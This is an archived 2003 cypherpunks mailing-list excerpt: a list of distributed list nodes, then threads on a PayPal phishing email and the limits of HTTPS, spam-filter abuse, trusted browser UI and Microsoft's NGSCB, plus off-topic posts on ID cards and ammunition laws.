    ^From:.*jchoate at dev.tivoli.com.*|\
    ^From:.*mattd at useoz.com|\
    ^From:.*proffr11 at bigpond.com|\
    ^From:.*jei at cc.hut.fi)
	/dev/null

    :0:
    cypherspool
}


7. List of current CDRs


All commands are sent in the body of mail unless otherwise noted.
---------------------------------------------------------------------------
Algebra:

Operator:
Subscription:     "subscribe cypherpunks" to majordomo at algebra.com
Unsubscription:   "unsubscribe cypherpunks" to majordomo at algebra.com
Help:             "help cypherpunks" to majordomo at algebra.com
Posting address:  cypherpunks at algebra.com
Filtering policy: raw
Message Modification policy:  no modification
Privacy policy: ???
Info:   ???

---------------------------------------------------------------------------
CCC:

Operator:         drt at un.bewaff.net
Subscription:     "subscribe [password of your choice]" to 
				       cypherpunks-request at koeln.ccc.de
Unsubscription:   "unsubscribe <password>" to cypherpunks-request at koeln.ccc.de
Help:             "help" to to cypherpunks-request at koeln.ccc.de
Web site:         http://koeln.ccc.de/mailman/listinfo/cypherpunks
Posting address:  cypherpunks at koeln.ccc.de
Filtering policy: This specific node drops messages bigger than 32k and
                  every message with more than 17 recipients or just a line
                  containing "subscribe" or "unsubscribe" in the subject. 
Digest mode:      this node is digest-only
NNTP:             news://koeln.ccc.de/cbone.ml.cypherpunks
Message Modification policy:  no modification
Privacy policy: ???

---------------------------------------------------------------------------
Infonex:

Subscription:     "subscribe cypherpunks" to majordomo at infonex.com
Unsubscription:   "unsubscribe cypherpunks" to majordomo at infonex.com
Help:             "help cypherpunks" to majordomo at infonex.com
Posting address:  cypherpunks at infonex.com
Filtering policy: raw
Message Modification policy:  no modification
Privacy policy: ???

---------------------------------------------------------------------------
Lne:

Subscription:     "subscribe cypherpunks" to majordomo at lne.com
Unsubscription:   "unsubscribe cypherpunks" to majordomo at lne.com
Help:             "help cypherpunks" to majordomo at lne.com
Posting address:  cypherpunks at lne.com
Filtering policy: cooked 
 Posts from all CDR subscribers & replies to threads go to lne CDR subscribers.
 All posts from other CDRs are forwarded to other CDRs unmodified.
Message Modification policy:  
 1. messages are demimed (MIME attachments removed) when posted 
  through lne or received by lne CDR subscribers
 2. leading "CDR:" in subject line removed
 3. "Reply-to:" removed
Privacy policy: private
Info: http://www.lne.com/cpunk; "info cypherpunks" to majordomo at lne.com
Archive: http://archives.abditum.com/cypherpunks/index.html
(thanks to Steve Furlong and Len Sassaman)

---------------------------------------------------------------------------
Minder:

Subscription:     "subscribe cypherpunks" to majordomo at minder.net
Unsubscription:   "unsubscribe cypherpunks" to majordomo at minder.net
Help:             "help" to majordomo at minder.net
Posting address:  cypherpunks at minder.net
Filtering policy: raw
Message Modification policy:  no modification
Privacy policy: private
Info:           send mail to cypherpunks-info at minder.net


---------------------------------------------------------------------------
Openpgp:

[openpgp seems to have dropped off the end of the world-- it
doesn't return anything from sending help queries.  Ericm, 8/7/01]

Subscription:     "subscribe cypherpunks" to listproc at openpgp.net
Unsubscription:   "unsubscribe cypherpunks" to listproc at openpgp.net
Help:             "help" to listproc at openpgp.net
Posting address:  cypherpunks at openpgp.net
Filtering policy: raw
Message Modification policy:  no modification
Privacy policy: ???

---------------------------------------------------------------------------
Ssz:

Subscription:     "subscribe cypherpunks" to majordomo at ssz.com
Unsubscription:   "unsubscribe cypherpunks" to majordomo at ssz.com
Help:             "help cypherpunks" to majordomo at ssz.com
Posting address:  cypherpunks at ssz.com
Filtering policy: raw
Message Modification policy: 
  Subject line prepended with "CDR:"
  Reply-to cypherpunks at ssz.com added.
Privacy policy: open
Info:  http://www.ssz.com/cdr/

---------------------------------------------------------------------------
Sunder:

Subscription:     "subscribe" to sunder at sunder.net
Unsubscription:   "unsubscribe" to sunder at sunder.net
Help:             "help" to sunder at sunder.net
Posting address:  sunder at sunder.net
Filtering policy: moderated
Message Modification policy:  ???
Privacy policy:  ???
Info: ???


---------------------------------------------------------------------------
Pro-ns:

Subscription:     "subscribe cypherpunks" to majordomo at pro-ns.net
Unsubscription:   "unsubscribe cypherpunks" to majordomo at pro-ns.net
Help:             "help cypherpunks" to majordomo at pro-ns.net
Posting address:  cypherpunks at pro-ns.net
Filtering policy: cooked
 Posts from all CDR subscribers & replies to threads go to local CDR
   subscribers.
 All posts from other CDRs are forwarded to other CDRs unmodified.   
Message Modification policy:
 1. leading "CDR:" in subject line removed
 2. "Reply-to:" removed
Privacy policy: private
Info: http://www.pro-ns.net/cpunk




From lynn at garlic.com  Sun Jun  8 19:00:40 2003
From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Sun, 08 Jun 2003 20:00:40 -0600
Subject: An attack on paypal
In-Reply-To: <007301c32e23$cdddbce0$01c8a8c0@DaveHowe>
References: <3EE32428.1173.13AC2C1@localhost>
  <4.2.2.20030608173129.00a99bb0@mail.earthlink.net>
Message-ID: <4.2.2.20030608193518.00b28ae0@mail.earthlink.net>

At 02:09 AM 6/9/2003 +0100, Dave Howe wrote:
>The problem is here, we are blaming the protective device for not being able
>to protect against the deliberate use of an attack that bypasses, not
>challenges it - by exploiting the gullibility or tendency to take the path
>of least resistance of the user.
>The real weakness in HTTPS is the tendency of certificates signed by Big
>Name CAs to be automagically trusted - even if you have never visited that
>site before.  yes, you can fix this almost immediately by untrusting the
>root certificate - but then you have to manually verify each and every site
>at least once, and possibly every time if you don't mark the cert as
>"trusted" for future reference.

that is why we coined the term merchant "comfort" certificates some time 
ago. my wife and I having done early work for payment gateway with small 
client/server startup in menlo park ... that had this thing called 
SSL/HTTPS ... and then having to perform due diligence on the major issuers 
of certificates .... we recognized 1) vulnerabilities in the certificate 
process and 2) information hiding of transaction in flight only addressed a 
very small portion of the vulnerabilities and exploits.

lots of past discussions related to our use of merchant comfort 
certificates from the past:
http://www.garlic.com/~lynn/subpubkey.html#ssl

we concluded that a real issue is that way too much of the infrastructure 
is based on shared-secrets and there was no realistic way of providing 
blanket protection to all the exposures and vulnerabilities of such 
shared-secret infrastructures. somewhat related discussion in the security 
proportional to risk posting:
http://www.garlic.com/~lynn/2001h.html#61

so rather than trying to create a very thick blanket of encryption covering 
the whole planet .... a synergistic approach was attempting to provide 
alternatives to as much of the shared-secret paradigm as possible. As in 
the referenced post:
http://www.garlic.com/~lynn/aepay11.htm#53 authentication white paper

strong encryption of identification and privacy (and shared-secret) 
information is good ... but not having identification, privacy and 
shared-secret information is even better.

there are all sorts of ways of obtaining shared-secret information (and/or 
privacy and identification information prelude to identity theft) .... 
including various kinds of social engineering.

as previously mentioned requirement for X9.59 standard was to preserve the 
integrity of the financial infrastructure for ALL electronic retail 
payments. As per previous notes, X9.59 with strong authentication 
eliminates the account number as a shared-secret as well as eliminating 
requirements for name, address, zip-code, etc as part of any credit card 
authentication process (strong encryption of vulnerable information is 
good, not having the information at all is even better).

ALL in addition to referring to things like credit cards, debit cards, atm 
transactions, stored-value transaction, over the internet, at 
point-of-sale, face-to-face, automated machines, etc .... also refers to 
ACH transactions. ACH information allows for unauthenticated push or pull 
transactions. Social engineering requesting bank account information so 
somebody can push tens of millions into your account also allows for them 
to generate a pull transaction removing all the money from your account. 
Part of the above posting on the authentication white paper .... makes 
references to securing ACH transactions:
http://www.asuretee.com/company/releases/030513_hagenuk.shtm

--
Anne & Lynn Wheeler    http://www.garlic.com/~lynn/
Internet trivia 20th anv http://www.garlic.com/~lynn/rfcietff.htm




From ericm at lne.com  Sun Jun  8 20:05:50 2003
From: ericm at lne.com (Eric Murray)
Date: Sun, 8 Jun 2003 20:05:50 -0700
Subject: Razor
In-Reply-To: <0210dfd3a668bc0f8de997edac54cf92@melontraffickers.com>;
  from juicy@melontraffickers.com on Sun, Jun 08, 2003 at 06:00:51PM
  -0700
References: <0210dfd3a668bc0f8de997edac54cf92@melontraffickers.com>
Message-ID: <20030608200550.A14929@slack.lne.com>

On Sun, Jun 08, 2003 at 06:00:51PM -0700, A.Melon wrote:
> I don't care about The Rat's postings like some of
> my anonymous associates, but someone's razor
> reporting is inaccurate.  Some spam from this list
> has been revoked at razor so it drops down below
> 30% confidence, when it shouldn't be revoked at
> all [1].  Inversely, some legitimate postings are
> getting reported to razor when they should not be
> [2].
> 
> If you auto-report stuff to razor, please be
> extra-careful with this list.

By pointing out this attack you have
guaranteed that our resident cypherpunks
attackers will be reporting lots of
legit posts to razor.

I'd suggest not using razor to filter cpunks mail.

While we're talking about spam
filtering, please do not reject cpunks mail
that your filters id as spam.  Dump it
in /dev/null instead.   Sending reject messages
to mailing lists is rude.  

In another bit of list administrivia, it appears
that both aol and rr are not accepting mail this weekend.
(their servers accept connections but never send HELO or EHLO).
I hear that aol's incoming mail is hosed, I
don't know what rr's problem is.

Eric




From ravage at einstein.ssz.com  Sun Jun  8 18:55:58 2003
From: ravage at einstein.ssz.com (Jim Choate)
Date: Sun, 8 Jun 2003 20:55:58 -0500 (CDT)
Subject: Slashdot | New AIM Offering "end to end" Encryption (fwd)
Message-ID: <Pine.LNX.4.33.0306082055440.9676-100000@einstein.ssz.com>

http://slashdot.org/articles/03/06/08/1547215.shtml?tid=120&tid=126&tid=187&tid=93


 --
    ____________________________________________________________________

      We are all interested in the future for that is where you and I
      are going to spend the rest of our lives.

                              Criswell, "Plan 9 from Outer Space"

      ravage at ssz.com                            jchoate at open-forge.org
      www.ssz.com                               www.open-forge.org
    --------------------------------------------------------------------




From ravage at einstein.ssz.com  Sun Jun  8 18:56:55 2003
From: ravage at einstein.ssz.com (Jim Choate)
Date: Sun, 8 Jun 2003 20:56:55 -0500 (CDT)
Subject: Slashdot | Bruce Sterling On Total Information Awareness (fwd)
Message-ID: <Pine.LNX.4.33.0306082056290.9676-100000@einstein.ssz.com>

http://yro.slashdot.org/yro/03/06/08/2242250.shtml?tid=158&tid=99


 --
    ____________________________________________________________________

      We are all interested in the future for that is where you and I
      are going to spend the rest of our lives.

                              Criswell, "Plan 9 from Outer Space"

      ravage at ssz.com                            jchoate at open-forge.org
      www.ssz.com                               www.open-forge.org
    --------------------------------------------------------------------




From smb at research.att.com  Sun Jun  8 18:39:12 2003
From: smb at research.att.com (Steven M. Bellovin)
Date: Sun, 08 Jun 2003 21:39:12 -0400
Subject: An attack on paypal 
Message-ID: <20030609013912.CCA717B4D@berkshire.research.att.com>

In message <4.2.2.20030608173129.00a99bb0 at mail.earthlink.net>, Anne & Lynn Whee
ler writes:

>
>at a recent cybersecurity conference, somebody made the statement that (of 
>the current outsider, internet exploits, approximately 1/3rd are buffer 
>overflows, 1/3rd are network traffic containing virus that infects a 
>machine because of automatic scripting, and 1/3 are social engineering 
>(convince somebody to divulge information). As far as I know, evesdropping 
>on network traffic  doesn't even show as a blip on the radar screen.

One could argue that that's because of https...

More seriously, eavesdropping on passwords was a *very* big problem 
starting in late 1993.  Part of the problem was that ISPs then didn't 
know better than to put NOC workstations on their backbone LANs; when 
those were compromised, the attackers had wonderfully-placed 
eavesdropping stations.  

		--Steve Bellovin, http://www.research.att.com/~smb (me)
		http://www.wilyhacker.com (2nd edition of "Firewalls" book)




From roy at rant-central.com  Sun Jun  8 21:38:03 2003
From: roy at rant-central.com (Roy M.Silvernail)
Date: Sun, 8 Jun 2003 23:38:03 -0500
Subject: The real problem that https has conspicuously failed to fix
In-Reply-To: <20030608231147.GA9890@piper.madduck.net>
References: <001401c32dfe$90cccd70$6401a8c0@amd1900>
  <20030608231147.GA9890@piper.madduck.net>
Message-ID: <20030609043804.3ACCF111C3@rant-central.com>

On Sunday 08 June 2003 06:11 pm, martin f krafft wrote:
> also sprach James A. Donald <jamesd at echeque.com> [2003.06.08.2243 +0200]:
> > (When you hit the submit button, guess what happens)
>
> How many people actually read dialog boxes before hitting Yes or OK?

It's slightly more subtle.  The action tag of a form submission isn't usually 
visible to the user like links are.  In the scam copy I received, all the 
links save one pointed to legitimate PayPal documents.  Only the <form 
action= gave it away, and you have to view source to see that.




From DaveHowe at gmx.co.uk  Sun Jun  8 15:43:29 2003
From: DaveHowe at gmx.co.uk (Dave Howe)
Date: Sun, 8 Jun 2003 23:43:29 +0100
Subject: An attack on paypal
References: <3EE32428.1173.13AC2C1@localhost>
Message-ID: <009201c32e0f$66d925c0$01c8a8c0@DaveHowe>

James A. Donald wrote:
> Attached is a spam mail that constitutes an attack on paypal similar
> in effect and method to man in the middle.
>
> The bottom line is that https just is not working.  Its broken.
HTTPS works just fine.
The problem is - people are broken.
At the very least, verisign should say "ok so '..go1d..' is a valid server
address, but doesn't it look suspiously similar to this '..gold..' site over
here?" for https://pseudo-gold-site/ - but really, if users are going to
fill in random webforms sent by email, they aren't going to be safe under
any circumstances; the thing could send by unsecured http to any site on the
planet, then redirect to the real gold site for a generic "transaction
completed" or even "failed" screen
A world where a random paypal hack like this one doesn't work is the same as
the world where there is no point sending out a Nigerian as you will never
make a penny on it - and yet, Nigerian is still profitable for the con
artists.


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From madduck at madduck.net  Sun Jun  8 16:11:47 2003
From: madduck at madduck.net (martin f krafft)
Date: Mon, 9 Jun 2003 01:11:47 +0200
Subject: The real problem that https has conspicuously failed to fix
In-Reply-To: <001401c32dfe$90cccd70$6401a8c0@amd1900>
References: <001401c32dfe$90cccd70$6401a8c0@amd1900>
Message-ID: <20030608231147.GA9890@piper.madduck.net>

also sprach James A. Donald <jamesd at echeque.com> [2003.06.08.2243 +0200]:
> (When you hit the submit button, guess what happens)

How many people actually read dialog boxes before hitting Yes or OK?

I know you do, and most of us, but who's the majority?

-- 
martin;              (greetings from the heart of the sun.)
  \____ echo mailto: !#^."<*>"|tr "<*> mailto:" net at madduck
 
keyserver problems? http://keyserver.kjsl.com/~jharris/keyserver.html
get my key here: http://madduck.net/me/gpg/publickey
 
"my experience is that as soon as people are old enough to know better,
 they don't know anything at all."
                                                        -- oscar wilde
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From DaveHowe at gmx.co.uk  Sun Jun  8 18:09:30 2003
From: DaveHowe at gmx.co.uk (Dave Howe)
Date: Mon, 9 Jun 2003 02:09:30 +0100
Subject: An attack on paypal
References: <3EE32428.1173.13AC2C1@localhost> <4.2.2.20030608173129.00a99bb0@mail.earthlink.net>
Message-ID: <007301c32e23$cdddbce0$01c8a8c0@DaveHowe>

> in a world where there are repeated human mistakes/failures ....
> at some point it is recognized that people aren't perfect and the design
> is changed to accommodate peoples foibles. in some respects that is what
> helmets, seat belts, and air bags have been about.

The problem is here, we are blaming the protective device for not being able
to protect against the deliberate use of an attack that bypasses, not
challenges it - by exploiting the gullibility or tendency to take the path
of least resistance of the user.
The real weakness in HTTPS is the tendency of certificates signed by Big
Name CAs to be automagically trusted - even if you have never visited that
site before.  yes, you can fix this almost immediately by untrusting the
root certificate - but then you have to manually verify each and every site
at least once, and possibly every time if you don't mark the cert as
"trusted" for future reference.
To blame HTTPS for an attack where the user fills in a web form received via
html-rendering email (no https involved at all) is more than a little unfair
though.

> in the past systems have designed long, complicated passwords that are
> hard to remember and must be changed every month. that almost worked when
> a person had to deal with a single shared-secret.
> when it became a fact of life that a person might have tens of such
> different interfaces it became impossible. It wasn't the fault of any
> specific institution, it was a failure of humans being able to deal with
> large numbers of extremely complex, frequently changing passwords.
> Because of known human foibles, it might be a good idea to start shifting
> from an infrastructure with large numbers of shared-secrets to a
> non-shared-secret paradigm.

I am not aware of one (not that that means much, given I am a novice in this
field)
Even PKI relies on something close to a shared secret - a *trustworthy* copy
of the public key, matching a secret copy of the private key. In x509, this
trustworthyness is established by an Ultimately Trusted CA; in pgp, by the
Web Of Trust, in a chain leading back to your own key; in SSH, by your
placing of the public key into your home dir manually (using some other form
of authentication to presumably gain access)
in each of these cases, the private key will almost invariably be protected
by a passphrase; at best, you can have a single passphrase (or even single
private key) to cover all bases.. but that just makes that secret all the
more valuable.

> at a recent cybersecurity conference, somebody made the statement that (of
> the current outsider, internet exploits, approximately 1/3rd are buffer
> overflows, 1/3rd are network traffic containing virus that infects a
> machine because of automatic scripting, and 1/3 are social engineering
> (convince somebody to divulge information). As far as I know, evesdropping
> on network traffic  doesn't even show as a blip on the radar screen.
That is pretty much because defence occupies the position of the interior -
attackers will almost invariably attack weak points, not strong ones. It is
easy to log and calculate how many attacks happen on weak points, but
impossible to calculate how many attacks *would* have happened had the
system not been in place to protect against such attacks, so the attackers
moved onto easier targets.
It makes little sense to try and break one https connection (even at 40 bit)
if by breaking into the server you get that information, hundreds of others
(until discovered) and possibly thousands of others inadvisedly stored
unprotected in a database.

<snip>
> The types of social engineering attacks then become convincing people to
> insert their hardware token and do really questionable things or mailing
> somebody their existing hardware token along with the valid pin (possibly
> as part of an exchange for replacement). The cost/benefit ratio does start
> to change since there is now much more work on the crooks part for the
> same or less gain. One could also claim that such activities are just part
> of child-proofing the environment (even for adults). On the other hand, it
> could be taken as analogous to designing systems to handle observed
> failure modes (even when the failures are human and not hardware or
> software). Misc. identify theft and credit card fraud reference:

Which again matches well to the Nigerian analogy. Everyone *knows* that
handing over your bank details is a Bad Thing - yet they still do it.


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From hseaver at cybershamanix.com  Mon Jun  9 04:16:18 2003
From: hseaver at cybershamanix.com (Harmon Seaver)
Date: Mon, 9 Jun 2003 06:16:18 -0500
Subject: [OT] Re: Hitchens: The Cult of ID
In-Reply-To: <Pine.BSF.4.21.0306071813570.5196-100000@greeves.mfn.org>
References: <a060012bdbb07f51915e9@[66.149.49.6]>
  <Pine.BSF.4.21.0306071813570.5196-100000@greeves.mfn.org>
Message-ID: <20030609111618.GA21664@cybershamanix.com>

   I remember my drivers license from WI was just a piece of paper, black with
white printing, no photo at least up to '74 (when we moved to MN) but can't
recall if MN had photo then or not. Not sure when WI changed, but they had the
photo when we moved back in '88. 


On Sat, Jun 07, 2003 at 06:23:10PM -0500, J.A. Terranson wrote:
> Good Evening,
> 	From roughly 1985 to ~1997, I was a resident of Missouri (USA).  Now,
> Missouri may well be a poster child for backwater living, but they had an
> unusual thing to recommend them: they understood that a "Driver's
> License" was somthing you got to prove you knew how to drive a car, rather
> than something you got to drink beer and vote.  Presumable due to this
> revelation, Missouri did not actually *require* either a photo or a social
> security number for the issuance of a driver's license.  
> 
> 	Anyone who had objection to the social security number was given a
> different encoded "license number", and anyone who objected to the photo had
> a red box in the corner with the words "PHOTO NOT REQUIRED" emblazoned across
> it - you needed only to fill out the form which described the basis of your
> objection(s).
> 
> 	Even better was the State of New York, up until ~1983: no photo on
> any license.  Just a piece of paper (no plastic at all) that said you knew
> enough to drive.  Proving that the license belonged to *you*, and not someone
> else, required actual *ID*!
> 
> 	It's time we get back to the reality standard on these... 
> 
> -- 
> Yours, 
> J.A. Terranson
> sysadmin at mfn.org

-- 
Harmon Seaver	
CyberShamanix
http://www.cybershamanix.com




From bob.cat at snet.net  Mon Jun  9 06:18:17 2003
From: bob.cat at snet.net (BobCat)
Date: Mon, 9 Jun 2003 09:18:17 -0400
Subject: [OT] Re: Hitchens: The Cult of ID
References: <Pine.BSF.4.21.0306071813570.5196-100000@greeves.mfn.org>
Message-ID: <001d01c32e89$9b82e570$a7eafc40@Leopard>

From: "J.A. Terranson" <measl at mfn.org>

> Anyone who had objection to the social security number was given a
> different encoded "license number", and anyone who objected to the photo
had
> a red box in the corner with the words "PHOTO NOT REQUIRED" emblazoned
across
> it - you needed only to fill out the form which described the basis of
your
> objection(s).

You can wear a head covering for religious reasons in some states. Are there
any religions that forbid ugly driver's license photos?

You cannot, however, refuse to give your SSN anymore. This is because people
have sex in cars, I think. I can't see any other connection.

"States must inform individuals that the disclosure is mandatory, that it is
based on section 466(a)(13) of the Social Security Act [42 U.S.C.
666(a)(13)], and that it will be used under the State's child support
enforcement program to locate individuals for purposes of establishing
paternity and establishing, modifying, and enforcing support
obligations...."

http://www.acf.dhhs.gov/programs/cse/pol/dcl-00-38.htm




From mv at cdc.gov  Mon Jun  9 09:48:45 2003
From: mv at cdc.gov (Major Variola (ret.))
Date: Mon, 09 Jun 2003 09:48:45 -0700
Subject: unregistered shell
Message-ID: <3EE4BA6D.4E72C5D3@cdc.gov>

June 6, 2003  |  WASHINGTON -- A man was arrested outside the Capitol
Friday for
carrying unregistered ammunition in his car, a police spokeswoman said.

Capitol Police spokeswoman Jessica Gissubel said police stopped the car
as it was
traveling on Constitution Avenue on the north side of the Capitol
because it had a
gasoline container strapped to its roof. The man, who was not
identified, voluntarily
handed over the ammunition, described as a shotgun shell. It is illegal
to carry
unregistered ammunition in the District of Columbia.

http://www.salon.com/news/wire/2003/06/06/capitol/

They can't find WMD, but they can find a dude with a shell in his truck.




From adam.lydick at verizon.net  Mon Jun  9 11:02:15 2003
From: adam.lydick at verizon.net (Adam Lydick)
Date: 09 Jun 2003 11:02:15 -0700
Subject: An attack on paypal --> secure UI for browsers
In-Reply-To: <29fb8c384fa72cbe9f6bbb0ca30c918a@dizum.com>
References: <29fb8c384fa72cbe9f6bbb0ca30c918a@dizum.com>
Message-ID: <1055181733.11904.44.camel@lorien>

Take this with a grain of salt. I'm no expert.

However: I'd guess that no applications (besides the secure nexus) would
have access to your "list of doggie names", just the ability to display
it. The list just indicates that you are seeing a window from one of
your partitioned and verified applications. I would also assume the
window would get decorated with the name of the trusted application (not
just your secret list). Thus you only need a single secret list to
handle all of your "authorized" applications.

-AdamL

On Mon, 2003-06-09 at 22:00, Nomen Nescio wrote:

<snip>

> I don't see how this is going to work.  The concept seems to assume
> that there is a distinction between "trusted" and "untrusted" programs.
> But in the NGSCB architecture, Nexus Computing Agents (NCAs) can be
> written by anyone.  If you've loaded a Trojan application onto your
> machine, it can create an NCA, which would presumably be eligible to
> put up a "trusted" window.
> 
> So either you have to configure a different list of doggie names for
> every NCA (one for your banking program, one for Media Player, one for
> each online game you play, etc.), or else each NCA gets access to your
> Secret Master List of Doggie Names.  The first possibility is unmanageable
> and the second means that the trustedness of the window is meaningless.
> 
> So what good is this?  What problem does it solve?
-- 
Adam Lydick <adam.lydick at verizon.net>




From sws at cs.dartmouth.edu  Mon Jun  9 09:29:42 2003
From: sws at cs.dartmouth.edu (Sean Smith)
Date: Mon, 09 Jun 2003 12:29:42 -0400
Subject: An attack on paypal --> secure UI for browsers 
In-Reply-To: Your message of "Mon, 09 Jun 2003 13:54:16 +0200."
             <5.1.1.6.0.20030609135004.026d5dd8@mailhost.cs.biu.ac.il> 
Message-ID: <200306091629.h59GTg632612@chipotle.cs.dartmouth.edu>


>Yuan, Ye and Smith, Trusted Path for Browsers, 11th Usenix security symp, 
>2002.

Minor nit: just Ye and Smith. (Yuan had helped with some of the spoofing)

Advertisement: we also built this into Mozilla, for Linux and Windows.
http://www.cs.dartmouth.edu/~pkilab/demos/countermeasures/


--Sean














-- 
Sean W. Smith, Ph.D.                         sws at cs.dartmouth.edu   
http://www.cs.dartmouth.edu/~sws/       (has ssl link to pgp key)
Department of Computer Science, Dartmouth College, Hanover NH USA




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From amir at herzberg.name  Mon Jun  9 04:54:16 2003
From: amir at herzberg.name (Amir Herzberg)
Date: Mon, 09 Jun 2003 13:54:16 +0200
Subject: An attack on paypal --> secure UI for browsers
In-Reply-To: <6.0.0.9.2.20030608174846.04cf35e8@127.0.0.1>
References: <3EE32428.1173.13AC2C1@localhost>
Message-ID: <5.1.1.6.0.20030609135004.026d5dd8@mailhost.cs.biu.ac.il>

At 18:03 08/06/2003 -0400, Tim Dierks wrote:
<skip>
>  - Get browser makers to design better ways to communicate to users that 
> UI elements can be trusted. For example, a proposal I saw recently which 
> would have the OS decorate the borders of "trusted" windows with facts or 
> images that an attacker wouldn't be able to predict: the name of your 
> dog, or whatever. (Sorry, can't locate a link right now, but I'd 
> appreciate one.)

Here are two...

Yuan, Ye and Smith, Trusted Path for Browsers, 11th Usenix security symp, 
2002.

Ka Ping Yee, User Interface Design for Secure System, ICICS, LNCS 2513, 2002.

This issue is also covered somewhat by my article in CACM (May 2002).

Best, Amir Herzberg
http://amir.herzberg.name

>  - Combine the two to allow sites to provide a user-trustable UI to enter 
> a password which cannot be sucked down.
>  - Evangelize to users that this is better and that they should be 
> suspicious of any situation where they used such interface once, but now 
> it's gone.
>
>I agree that the overall architecture is broken; the problem is that it's 
>broken in more ways than can just be fixed with any change to TLS/SSL or HTTPS.
>
>  - Tim
>
>
>
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--------------------------------------------------------------------------------------------------------------------------------
Amir Herzberg
http://amir.herzberg.name


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From mv at cdc.gov  Mon Jun  9 19:42:21 2003
From: mv at cdc.gov (Major Variola (ret))
Date: Mon, 09 Jun 2003 19:42:21 -0700
Subject: [Brinworld] Neighbor's surveillance camera? 
Message-ID: <3EE5458D.4050300@cdc.gov>

Authorities said they were considering the possibility that a second 
person might have been involved in the abduction, based on video from a 
neighbor's surveillance camera.

http://www.cnn.com/2003/US/West/06/09/california.abduction/index.html




From measl at mfn.org  Mon Jun  9 19:08:13 2003
From: measl at mfn.org (J.A. Terranson)
Date: Mon, 9 Jun 2003 21:08:13 -0500 (CDT)
Subject: unregistered shell
In-Reply-To: <3EE4BA6D.4E72C5D3@cdc.gov>
Message-ID: <Pine.BSF.4.21.0306092107340.22056-100000@greeves.mfn.org>

On Mon, 9 Jun 2003, Major Variola (ret.) wrote:

> http://www.salon.com/news/wire/2003/06/06/capitol/
> 
> They can't find WMD, but they can find a dude with a shell in his truck.

That's because the guy with the shotgun shell *exists*.


-- 
Yours, 
J.A. Terranson
sysadmin at mfn.org




From bill.stewart at pobox.com  Tue Jun 10 00:29:22 2003
From: bill.stewart at pobox.com (Bill Stewart)
Date: Tue, 10 Jun 2003 00:29:22 -0700
Subject: unregistered shell
In-Reply-To: <3EE4BA6D.4E72C5D3@cdc.gov>
Message-ID: <5.1.1.6.2.20030610002345.02dde5d0@idiom.com>

At 09:48 AM 06/09/2003 -0700, Major Variola (ret.) wrote:
>Capitol Police spokeswoman Jessica Gissubel said police stopped the car
>as it was traveling on Constitution Avenue on the north side of
>the Capitol because it had a gasoline container strapped to its roof.
>The man, who was not identified, voluntarily
>handed over the ammunition, described as a shotgun shell.
>It is illegal to carry unregistered ammunition in the District of Columbia.

Normally I would make some cynical remark about the appropriateness of
Constitution Avenue as a venue for violating the second amendment,
but this sounds like a case of Darwin catching up with the guy
in a way that only eliminates *him* from the gene pool
rather than taking out innocent bystanders when the
gas can falls off his car roof....

He's clearly from the clue-deprived side of the street
about a variety of issues.




From nobody at dizum.com  Mon Jun  9 22:00:08 2003
From: nobody at dizum.com (Nomen Nescio)
Date: Tue, 10 Jun 2003 07:00:08 +0200 (CEST)
Subject: An attack on paypal --> secure UI for browsers
Message-ID: <29fb8c384fa72cbe9f6bbb0ca30c918a@dizum.com>

Tim Dierks wrote:
>  - Get browser makers to design better ways to communicate to users that 
> UI elements can be trusted. For example, a proposal I saw recently which 
> would have the OS decorate the borders of "trusted" windows with facts or 
> images that an attacker wouldn't be able to predict: the name of your 
> dog, or whatever. (Sorry, can't locate a link right now, but I'd 
> appreciate one.)

It was none other than Microsoft's NGSCB, nee Palladium.  See
http://news.com.com/2100-1012_3-1000584.html?tag=fd_top:

   NEW ORLEANS--Microsoft is trying to make security obvious.

   The software giant plans to visually alter document or application
   windows that contain private information that's secured through
   Microsoft's Next-Generation Secure Computing Base (NGSCB), formerly
   known as Palladium. Secure windows will look different than regular,
   unsecured windows in order to remind users that they are looking
   at confidential material, Peter Biddle, product unit manager for
   Microsoft, said Thursday at the Windows Hardware Engineering Conference
   (WinHEC) here.
   ...
   The border of a secured page may contain information--such as the
   names of all the dogs that someone has ever owned--to make the data
   instantly recognizable as sound to the individual owner, as well as
   difficult to replicate. A hacker can create a spoof page with dogs'
   names running along the border but, in all likelihood, not one reading
   "Buffy, Skip and Jack Daniels--and in that order," Biddle said.
   ...
   Information on secured windows will vanish if another window is placed
   on top of it or shifted to the background. Erasing the information
   will prevent certain types of attacks and remind people that they're
   dealing with confidential material, Biddle said.

   When the secure window returns to the top of the stack, the information
   will reappear, he said.

I don't see how this is going to work.  The concept seems to assume
that there is a distinction between "trusted" and "untrusted" programs.
But in the NGSCB architecture, Nexus Computing Agents (NCAs) can be
written by anyone.  If you've loaded a Trojan application onto your
machine, it can create an NCA, which would presumably be eligible to
put up a "trusted" window.

So either you have to configure a different list of doggie names for
every NCA (one for your banking program, one for Media Player, one for
each online game you play, etc.), or else each NCA gets access to your
Secret Master List of Doggie Names.  The first possibility is unmanageable
and the second means that the trustedness of the window is meaningless.

So what good is this?  What problem does it solve?

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From mv at cdc.gov  Tue Jun 10 09:02:04 2003
From: mv at cdc.gov (Major Variola (ret))
Date: Tue, 10 Jun 2003 09:02:04 -0700
Subject: unregistered shell
Message-ID: <3EE600FC.35D58724@cdc.gov>

At 12:29 AM 6/10/03 -0700, Bill Stewart wrote:
>At 09:48 AM 06/09/2003 -0700, Major Variola (ret.) wrote:
>>the Capitol because it had a gasoline container strapped to its roof.

>but this sounds like a case of Darwin catching up with the guy
>in a way that only eliminates *him* from the gene pool
>rather than taking out innocent bystanders when the
>gas can falls off his car roof....

Depends on how sturdily he attached it.  Jeeps (et al) have spots
for gas cans in the rear exterior of the car.  Driving with
a tank of gas in the passenger compartment isn't a good
thing.  Also RVs typically have a few gallons of propane on
an exterior tank.  And welding trucks..

But the real point is that ammo has to be registered.  Amazing.
I found an old, live cartridge in the desert last weekend, tossed it in
the car.  What if I lived near DC instead of SoCal?

---
"Did you really think that we want those laws to be observed? . . .
We want them broken. You'd better get it straight that it's not a
bunch of boy scouts that you're up against - and then you'll know
that this is not the age for beautiful gestures. We're after power
and we mean it. . . . . There's no way to rule innocent men. The only
power any government has is the power to crack down on criminals.
Well, when there aren't enough criminals one makes them. One declares
so many things to be a crime that it becomes impossible for men to
live without breaking laws. Who wants a nation of law-abiding
citizens? What's there in that for anyone? But just pass the kind of
laws that can neither be observed nor enforced nor objectively
interpreted - and you create a nation of lawbreakers - and then you
cash in on the guilt. Now that's the system, . . . that's the game,
and once you understand it, you'll be much easier to deal with."
   From Atlas Shrugged, by Ayn Rand.




From lynn at garlic.com  Tue Jun 10 08:19:19 2003
